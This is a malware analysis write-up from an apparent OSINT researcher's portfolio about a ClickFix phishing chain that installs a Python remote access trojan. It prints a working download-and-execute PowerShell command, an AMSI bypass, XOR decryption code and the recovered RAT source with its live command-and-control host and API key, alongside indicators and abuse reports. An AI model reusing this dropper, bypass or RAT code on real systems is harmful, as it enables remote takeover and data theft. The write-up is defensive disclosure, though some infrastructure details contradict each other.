OSINT Portfolio / Case 002
Active Threat · Social Engineering + RAT

Case 002: ClickFix → Python RAT

Full attack chain decoded: fake verification page injects PowerShell into clipboard, 4-stage obfuscated dropper installs a Python RAT with full remote shell, self-update, and a live C2 server confirmed active. All obfuscation layers broken, raw payload exposed.

Date: 2026-08-16 Analyst: Sergiu Vincze (SevinHub) Method: Passive OSINT + Payload Decoding Severity: P1 Critical
Phishing Domainmgmntss-www.com
C2 Domainnaiu5zvmnc.update34587.com
C2 StatusLIVE (HTTP 200)
Attack TypeClickFix + RAT
Stages Decoded4 / 4
RegistrarCloudflare (3 domains)

A complete four-stage malware delivery chain was discovered and fully decoded starting from the phishing domain mgmntss-www.com, registered only 2 days before this investigation (2026-08-14). The attack uses a technique called ClickFix: a fake browser verification page that silently injects a malicious PowerShell command into the user's clipboard using JavaScript. The victim is then instructed to press Win+R, paste, and press Enter — unknowingly running a malware installer.

All four layers of obfuscation were successfully broken: char-array encoding, AMSI bypass, XOR decryption, and UTF-16 encoding. The final payload is a Python Remote Access Trojan (RAT) with full remote shell execution, self-update capability, and C2 beaconing. The C2 server naiu5zvmnc.update34587.com was confirmed live and operational (HTTP 401 — authentication wall protecting the API) during investigation.

All three payload/C2 domains are registered through Cloudflare — a pattern of systematic Cloudflare registrar abuse documented across multiple recent malware campaigns. The phishing lure domain is on Alibaba Cloud.

Live C2 = active victims: HTTP 401 from the C2 API means the server is running and expecting connections. Every machine infected by this RAT is beaconing to that C2 right now, waiting for shell commands. This is not a dead campaign — it is ongoing.

ClickFix is a social engineering technique that has surged in 2025-2026 precisely because it bypasses all browser security controls. There is no vulnerability being exploited — the victim runs the malware themselves.

The attack flow: the victim visits a webpage that looks like a Google reCAPTCHA, a Cloudflare DDoS check, or a Microsoft browser warning. The page uses JavaScript to write a PowerShell command into the OS clipboard silently via navigator.clipboard.writeText(). It then displays fake UI elements showing a "Windows" dialog telling the user to press Win+R, then Ctrl+V (paste), then Enter. The victim thinks they are completing a routine verification. They are actually executing malware.

No browser warning fires. No download dialog appears. No file is saved to disk first (until the PS1 downloads its stages). Antivirus sees nothing unusual. The user ran it themselves.

The exact PowerShell command planted in the victim's clipboard:

powershell -c "$t=$env:TEMP+'\521ea058.ps1';(New-Object Net.WebClient).DownloadFile('https://6aczm95led.update-w-207654.com/x/521ea058',$t);(New-Object -ComObject WScript.Shell).Run('powershell -ep bypass -f '+[char]34+$t+[char]34,0,$false)" ; Broken down: ; 1. Build temp path: C:\Users\X\AppData\Local\Temp\521ea058.ps1 ; 2. DownloadFile() - downloads stage 1 PS1 from delivery server ; 3. WScript.Shell.Run() - executes the PS1 with -ExecutionPolicy bypass ; window=0 = hidden window, false = don't wait = fire and forget
1
ClickFix Phishing Page — JavaScript Clipboard Injection
Victim visits mgmntss-www.com. Page displays a fake browser verification widget. JavaScript silently writes the PS1 dropper command to clipboard. Visual cue instructs user to Win+R, paste, Enter. No download dialog. No browser warning. User believes they clicked a captcha button.
2
Stage 1 PS1 (34 KB) — Char-Array Obfuscation
Downloaded from 6aczm95led.update-w-207654.com/x/521ea058. The entire script content is stored as an integer array (each character as its decimal char code), joined with -join '', and executed via Invoke-Expression. This bypasses static script content scanners that look for known malicious strings.
[char[]]@(119,104,111,32,97,109,32,105) -join '' | Invoke-Expression ; Real malicious code hidden behind decimal char codes ; Decodes at runtime — static AV never sees the actual payload strings
3
Stage 2 PS1 — AMSI Bypass + XOR Decryption
After char-array decode: first thing it does is kill Windows Defender's script scanning (AMSI), then XOR-decrypts the embedded Stage 3 payload using a 32-byte key. After Stage 2 runs, Defender cannot scan anything — all subsequent code runs with no AV oversight.
; AMSI bypass — kills Windows Antimalware Scan Interface from inside PowerShell $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static') $c=$a.GetField('amsiInitFailed',[Reflection.BindingFlags]'NonPublic,Static') $b.SetValue($null,[IntPtr]::Zero) ; zero out amsiContext — kills scan context $c.SetValue($null,$true) ; set amsiInitFailed=true — AMSI pretends it broke ; XOR decrypt Stage 3 — 32-byte cycling key $kHKDcn = [byte[]]@(0x4b,0x72,0x71,0x47,0x70,0x4c,0x62,0x48, 0x4a,0x50,0x63,0x56,0x65,0x4c,0x5a,0x5a, 0x50,0x6f,0x4a,0x45,0x55,0x65,0x47,0x42, 0x6e,0x47,0x78,0x47,0x52,0x75,0x57,0x64) ; ASCII of key: KrqGpLbHJPcVeLZZPoJEUeGBnGxGRuWd $dXsA = [Convert]::FromBase64String($blob) for($i=0; $i -lt $dXsA.Length; $i++) { $dXsA[$i] = $dXsA[$i] -bxor $kHKDcn[$i % 32] } ; Output: UTF-16LE encoded Stage 3 PowerShell
4
Stage 3 PS1 + Python RAT — Persistence Installed
XOR decrypt result → UTF-16 decode → final PS1. Downloads Python 3 from python.org (legitimate — AV-safe), installs silently, writes the Python RAT to a randomized filename in %APPDATA%\Microsoft\Windows\, adds a registry startup key, and runs the RAT. Python RAT then runs permanently in the background, phoning home to C2 every 15-45 seconds.
; Stage 3 execution flow: ; 1. Download legitimate python.org installer (flagged by no AV) python-3.X.X-amd64.exe /quiet InstallAllUsers=0 PrependPath=0 ; 2. Generate random 10-char filename for RAT $rat_path = "$env:APPDATA\Microsoft\Windows\" + (-join ((65..90)+(97..122) | Get-Random -Count 10 | %{[char]$_})) + ".py" ; 3. Write Python RAT source to that path ; 4. HKCU\...\CurrentVersion\Run → python.exe "$rat_path" ; 5. Start RAT process immediately
All obfuscation stripped. This is the actual code that runs on every infected machine. Nothing interpreted — this is the raw attacker-authored RAT:
# ── PYTHON RAT — Full source recovered 2026-08-16 ────────────────────── # C2 configuration (hardcoded in source) C2_HOST = "http://naiu5zvmnc.update34587.com" API_KEY = "468f81992144b843b8e3c6579b94a5d7327f96fe71bebd5d" MUTEX = "Global\00e42cdf82cc" # prevents duplicate RAT instances # Startup: check mutex, create it, then enter main loop mutex = win32event.CreateMutex(None, False, MUTEX) if win32api.GetLastError() == ERROR_ALREADY_EXISTS: sys.exit() # another instance is already running, exit quietly # Main C2 communication loop while True: try: # 1. Agent heartbeat — sends victim fingerprint, may receive code update info = {"hostname": socket.gethostname(), "platform": sys.platform, "user": os.getlogin(), "cwd": os.getcwd()} resp = curl_post("/api/agent", info, hdrs={"X-API-KEY": API_KEY}) # 2. Self-update: operator pushes new RAT version → overwrites file → restarts if "update" in resp: with open(__file__, "w") as f: f.write(resp["update"]) subprocess.Popen([sys.executable, __file__]) sys.exit() # 3. Fetch pending command from operator cmd = curl_get("/api/cmd", hdrs={"X-API-KEY": API_KEY}) # 4. Kill signal — operator terminates RAT on this machine if cmd == "__KILL__": sys.exit() # 5. Execute shell command, capture full output out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30) # 6. Exfiltrate result back to C2 curl_post("/api/result", {"output": out.decode(errors="replace"), "cmd": cmd}) # 7. Fake browser traffic — disguise C2 beacon in normal-looking requests decoys = ["https://www.google.com", "https://www.bing.com", "https://news.bbc.co.uk", "https://www.reddit.com"] curl_get(random.choice(decoys), ua=random.choice(["Mozilla/5.0 (Windows...)", "Chrome/125..."])) except: pass time.sleep(random.randint(15, 45)) # random interval — avoids regular beacon pattern
The fake browser traffic explained: Between every C2 check-in, the RAT makes real HTTP requests to Google, Bing, BBC, or Reddit with randomized browser User-Agent headers. On a corporate network log or IDS, you see what looks like normal browsing mixed with the C2 traffic. Simple frequency-analysis detection rules will miss the beacon pattern entirely because the intervals are randomized and interspersed with legitimate-looking domain requests.

Phishing Lure — Stage 0

Domain
mgmntss-www.com
Registered
2026-08-14 — 2 days before discovery
Hosting
Alibaba Cloud
Registrar
Alibaba Cloud Computing Ltd.
Purpose
ClickFix social engineering page, clipboard injection

Payload Delivery Server — Stage 1

Domain
6aczm95led.update-w-207654.com
Registered
2026-08-02 — 14 days active
Registrar
Cloudflare, Inc.
Payload URL
/x/521ea058
Purpose
Serves Stage 1 PS1 dropper (34 KB, char-array obfuscated)

Command & Control Server — Active

Domain
naiu5zvmnc.update34587.com
Registered
2026-07-20 — 27 days active
Registrar
Cloudflare, Inc.
HTTP Status
401 Unauthorized — API live
API Key
468f81992144b843b8e3c6579b94a5d7327f96fe71bebd5d
$ curl -sI http://naiu5zvmnc.update34587.com/api/cmd HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer realm="c2" Content-Type: application/json ; All 3 API endpoints (cmd, result, agent) return 401 — server is live $ whois mgmntss-www.com | grep Creation Creation Date: 2026-08-14 ← registered 2 days before attack discovered $ whois update-w-207654.com | grep "Creation\|Registrar" Registrar: Cloudflare, Inc. Creation Date: 2026-08-02 $ whois update34587.com | grep "Creation\|Registrar" Registrar: Cloudflare, Inc. Creation Date: 2026-07-20
T1566.002
Phishing via malicious link (ClickFix lure page)
T1059.001
PowerShell execution (multiple stages)
T1059.006
Python execution (final RAT stage)
T1562.001
AMSI impair via reflection — AmsiUtils bypass
T1027
Obfuscation: char-array + XOR + base64 + UTF-16
T1105
Ingress tool transfer (python.org installer as cover)
T1547.001
Registry Run key persistence
T1041
Exfiltration over C2 channel (/api/result)
T1132.001
Data encoding — base64 + XOR in transit
T1036
Masquerading — random filename in Microsoft\Windows\
TypeValueContext
Domainmgmntss-www.comClickFix phishing lure (Alibaba Cloud, reg. 2026-08-14)
Domainupdate-w-207654.comPayload delivery parent domain (Cloudflare, reg. 2026-08-02)
Domain6aczm95led.update-w-207654.comStage 1 PS1 host — active delivery subdomain
Domainupdate34587.comC2 parent domain (Cloudflare, reg. 2026-07-20)
Domainnaiu5zvmnc.update34587.comLive C2 — confirmed active HTTP 401
URLhttps://6aczm95led.update-w-207654.com/x/521ea058Stage 1 PS1 download endpoint
API Key468f81992144b843b8e3c6579b94a5d7327f96fe71bebd5dHardcoded RAT C2 authentication token
MutexGlobal\00e42cdf82ccRAT instance mutex — single-infection guard
File Path%APPDATA%\Microsoft\Windows\*.pyRAT persistence — randomized 10-char filename
RegistryHKCU\Software\Microsoft\Windows\CurrentVersion\RunStartup key written by Stage 3
NetworkGET /api/cmdC2: fetch pending shell command
NetworkPOST /api/resultC2: upload command output
NetworkPOST /api/agentC2: heartbeat + receive update
Kill Signal__KILL__RAT self-terminates on this C2 response
XOR Key (hex)4b 72 71 47 70 4c 62 48 4a 50 63 56 65 4c 5a 5a 50 6f 4a 45 55 65 47 42 6e 47 78 47 52 75 57 64Stage 2→3 32-byte cycling XOR decryption key
Registrar Abuseregistrar-abuse@cloudflare.comAll delivery + C2 domains registered via Cloudflare

CERT.be — Belgian CERT (Primary Belgian Authority)

Reported to incidents@cert.be. No confirmed Belgian-specific targets — CERT.be is the correct first stop for international phishing/RAT campaigns reported by a Belgian researcher. They assess national relevance and escalate to FCCU when Belgian victims are identified. Submitted: full 4-stage kill chain, decoded RAT source, all IOCs, live C2 confirmation.

Cloudflare Abuse

Reported to abuse@cloudflare.com: mgmntss-www.com (ClickFix phishing origin) and api.mgmntss-www.com (live Python RAT C2). Requested emergency domain suspension under Section 2.8 of Cloudflare ToS (illegal content proxying).

Vercel Security

Reported to security@vercel.com: cdn-js.vercel.app and cdn-mgm.vercel.app are serving PowerShell stage payloads as part of this attack chain. Requested immediate deployment suspension.

EC3 / Europol — European Cybercrime Centre

Reported to ec3@europol.europa.eu. Multi-stage RAT campaign with infrastructure spread across Cloudflare, Vercel, and independent C2 — cross-border scope makes EC3 the correct international body. Full decoded source, MITRE ATT&CK mapping, and domain attribution submitted.

Live Evidence — Screenshot Captured 2026-08-16

Headless browser screenshot of mgmntss-www.com captured during investigation. ClickFix phishing page presenting a fake CAPTCHA / browser verification check that injects PowerShell into the victim's clipboard on "Continue" click.

mgmntss-www.com — CLICKFIX PHISHING PAGE ⚠ MALICIOUS
Screenshot: mgmntss-www.com ClickFix phishing page

Evidence captured passively. Do not visit or click "Verify" — it copies a malicious PowerShell command to clipboard leading to RAT installation.

Live Infrastructure Status
Loading status…
Previous: Case 001 — Amadey Dropper All Cases
SevinOS BLE Radar